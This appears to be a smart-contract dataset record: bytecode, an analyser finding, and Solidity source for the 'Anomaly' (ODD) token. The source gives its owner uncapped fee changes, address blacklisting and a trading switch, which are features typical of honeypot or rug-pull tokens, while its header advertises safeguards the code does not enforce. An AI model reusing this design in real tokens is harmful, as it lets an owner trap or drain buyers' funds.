0x608060405234801561001057600080fd5b5060043610610149576000357c0100000000000000000000000000000000000000000000000000000000900480638bf9d979116100ca578063c14e50ce1161008e578063c14e50ce14610447578063c82fe9b11461048b578063d95b18eb14610503578063f2fde38b1461054d578063f73171f11461059157610149565b80638bf9d979146102c85780638da5cb5b146103615780638f32d59b146103ab578063937adbe6146103cd578063a10ffbed1461042957610149565b80636ef8d66d116101115780636ef8d66d1461025c578063715018a6146102665780637362377b1461027057806382dc1ec41461027a5780638456cb59146102be57610149565b806337c351571461014e5780633f4ba83a1461017c57806346fbf68e146101865780634f0cd27b146101e25780635c975abb1461023a575b600080fd5b61017a6004803603602081101561016457600080fd5b81019080803590602001909291905050506105e9565b005b610184610606565b005b6101c86004803603602081101561019c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b610224600480360360208110156101f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d2565b6040518082815260200191505060405180910390f35b61024261082a565b604051808215151515815260200191505060405180910390f35b610264610841565b005b61026e61084c565b005b61027861091e565b005b6102bc6004803603602081101561029057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610991565b005b6102c66109b1565b005b61035f600480360360408110156102de57600080fd5b81019080803590602001906401000000008111156102fb57600080fd5b82018360208201111561030d57600080fd5b8035906020019184600183028401116401000000008311171561032f57600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a61565b005b610369610c69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b3610c92565b604051808215151515815260200191505060405180910390f35b61040f600480360360208110156103e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce9565b604051808215151515815260200191505060405180910390f35b610431610daa565b6040518082815260200191505060405180910390f35b6104896004803603602081101561045d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db0565b005b6104ed600480360360408110156104a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e07565b6040518082815260200191505060405180910390f35b61050b610e2c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61058f6004803603602081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e52565b005b6105d3600480360360208110156105a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105f1610c92565b15156105fc57600080fd5b8060038190555050565b61060f336106b5565b151561061a57600080fd5b600260009054906101000a900460ff16151561063557600080fd5b6000600260006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60006106cb826001610e8990919063ffffffff16565b9050919050565b60008060056000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156107835760019050610825565b60056000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600260009054906101000a900460ff16905090565b61084a33610f1d565b565b610854610c92565b151561085f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610926610c92565b151561093157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561098e573d6000803e3d6000fd5b50565b61099a336106b5565b15156109a557600080fd5b6109ae81610f77565b50565b6109ba336106b5565b15156109c557600080fd5b600260009054906101000a900460ff161515156109e157600080fd5b6001600260006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600260009054906101000a900460ff16151515610a7d57600080fd5b610a8633610ce9565b151515610ade576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061151f6028913960400191505060405180910390fd5b6000610ae9336106d2565b9050610b3984848080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505082610fd1565b1515610bad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f03bee8945a564e58a4243604a426d1168e3654790c5ad819fd04206500e60b36426040518082815260200191505060405180910390a3610c1f33600183016110c1565b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610d3b5760009050610da5565b610d8f600354600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116890919063ffffffff16565b42101515610da05760009050610da5565b600190505b919050565b60035481565b610db8610c92565b1515610dc357600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e5a610c92565b1515610e6557600080fd5b610e6e81611189565b50565b60066020528060005260406000206000915090505481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ec657600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610f3181600161128390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b610f8b81600161133290919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561103057600080fd5b6000823373ffffffffffffffffffffffffffffffffffffffff16029050600061106461105e836001026113e2565b8661143a565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16149250505092915050565b8060056000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828401905083811015151561117f57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112bf57600080fd5b6112c98282610e89565b15156112d457600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561136e57600080fd5b6113788282610e89565b15151561138457600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008160405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001209050919050565b600080600080604185511415156114575760009350505050611518565b6020850151925060408501519150606085015160001a9050601b8160ff16101561148257601b810190505b601b8160ff161415801561149a5750601c8160ff1614155b156114ab5760009350505050611518565b60018682858560405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611508573d6000803e3d6000fd5b5050506020604051035193505050505b9291505056fe746869732073656e64657220676f74206461696c79207265776172642077697468696e207465726da165627a7a72305820a8a326e32b5a004f5a813857dd589137d2541c053ba2f55367293c51962228e40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,298 |
0xcf5c757a89596f29cf5d219bc5e5c576b5d1011f
|
/**
You kinda want to look for the anomalies. You don't actually want to look for the expected behaviour.
Liquidity lock
Contract ownership renounce
10% max buy
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Anomaly is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anomaly";
string private constant _symbol = "ODD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xB477467835Ba6b03C3B697a25887936f0394ab68);
address payable private _marketingAddress = payable(0xB477467835Ba6b03C3B697a25887936f0394ab68);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600781526020017f416e6f6d616c7900000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f